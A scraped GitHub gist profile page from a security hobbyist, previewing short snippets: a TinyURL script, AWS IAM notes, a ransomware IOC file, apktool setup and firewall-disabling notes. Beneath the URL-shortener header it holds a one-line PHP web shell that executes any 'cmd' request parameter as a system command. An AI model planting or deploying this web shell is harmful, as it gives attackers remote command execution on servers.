Skip to content

Instantly share code, notes, and snippets.

View anir0y's full-sized avatar
🌏
Working from Remote

Animesh Roy anir0y

🌏
Working from Remote
View GitHub Profile
@anir0y
anir0y / tinurl.py
Created November 13, 2022 13:17
Script to create short URL using tiny.url API
import json
import requests
banner="""
=^..^=
==> created by @anir0y
[+] we use tinyurl to create short URL
[+] reach me twitter: @anir0y
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@anir0y
anir0y / junk
Last active July 11, 2022 14:57
# edit IAM
link : https://us-east-1.console.aws.amazon.com/iam/home#/policies$new?step=edit
json blob:
```json
{
"Version": "2012-10-17",
"Statement": [
{

Keybase proof

I hereby claim:

  • I am anir0y on github.
  • I am aniroy (https://keybase.io/aniroy) on keybase.
  • I have a public key ASBGkcEo3DbHmI-wDyoCWkznuJauhZ2NktxEvew4VOL4Rwo

To claim this, I am signing this object:

#!/usr/bin/perl
# Copyright 2000-2018 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the OpenSSL license (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
#
# Wrapper around the ca to make it easier to use
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login panel</title>
</head>
<body>
<style>
@anir0y
anir0y / GRID Ransomware.xml
Created December 22, 2021 17:08
GRID Ransomware IOC
<?xml version='1.0' encoding='UTF-8'?>
<ioc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.mandiant.com/2010/ioc" id="147cdfe0-2919-45fb-a7be-4771bba492bd" last-modified="2021-12-22T17:07:42">
<short_description>GRID Ransomware</short_description>
<description>GRID Ransomware</description>
<keywords/>
<authored_by>animeshx0x - Alienvault OTX</authored_by>
<authored_date>2021-12-22T17:07:42</authored_date>
<links>
<link rel="https://otx.alienvault.com/pulse/61c35a123d9e22d522b2cc4c">https://otx.alienvault.com/pulse/61c35a123d9e22d522b2cc4c</link>
</links>
#!/bin/bash
apt purge apktool -y
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar
mv apktool_2.4.0.jar apktool.jar
mv apktool.jar /usr/bin
mv apktool /usr/bin
chmod +x /usr/bin/apktool*
sudo apt install apksinger -y
@anir0y
anir0y / test.sh
Created December 13, 2021 13:21
test.sh
#!/bin/bash
echo "hacking script"
curl "http://ifconfig.me"

I learned about the rules by running:

sudo iptables -L

Then I saved the rules to a file so I could add the relevant ones back later:

sudo iptables-save > ~/iptables-rules

Then I ran these rules to effectively disable iptables by allowing all traffic through: